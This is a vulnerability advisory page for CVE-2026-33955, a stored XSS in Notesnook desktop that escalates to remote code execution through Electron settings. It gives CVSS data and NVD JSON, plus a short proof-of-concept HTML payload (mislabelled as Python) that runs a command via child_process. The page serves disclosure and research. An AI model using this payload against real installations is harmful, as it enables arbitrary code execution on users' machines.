CVE-2026-33955

Description

Notesnook is a note-taking app. Prior to version 3.3.11 on Web/Desktop, a cross-site scripting vulnerability stored in the note history comparison viewer can escalate to remote code execution in a desktop application. The issue is triggered when an attacker-controlled note header is displayed using `dangerouslySetInnerHTML` without secure handling. When combined with the full backup and restore feature in the desktop application, this becomes remote code execution because Electron is configured with `nodeIntegration: true` and `contextIsolation: false`. Version 3.3.11 patches the issue.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:streetwriters:notesnook_desktop:*:*:*:*:*:*:*:* - VULNERABLE

Notesnook < 3.3.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-33955 -->
<!-- Inject this payload into the note header -->
<img src=x onerror="
  const { exec } = require('child_process');
  // Example: Execute calculator on Windows
  exec('calc', (err, stdout, stderr) => {
    if (err) console.error(err);
    else console.log('Executed');
  });
">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33955
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33955
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33955/
[4] VulDB https://vuldb.com/cve/CVE-2026-33955
[5] https://github.com/streetwriters/notesnook/security/advisories/GHSA-45g3-cv93-q59v

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33955", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:22.083", "lastModified": "2026-04-02T14:16:30.127", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Notesnook is a note-taking app. Prior to version 3.3.11 on Web/Desktop, a cross-site scripting vulnerability stored in the note history comparison viewer can escalate to remote code execution in a desktop application. The issue is triggered when an attacker-controlled note header is displayed using `dangerouslySetInnerHTML` without secure handling. When combined with the full backup and restore feature in the desktop application, this becomes remote code execution because Electron is configured with `nodeIntegration: true` and `contextIsolation: false`. Version 3.3.11 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_desktop:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.11", "matchCriteriaId": "08C11EDB-67C1-4E85-A07D-0164CB036757"}]}]}], "references": [{"url": "https://github.com/streetwriters/notesnook/security/advisories/GHSA-45g3-cv93-q59v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}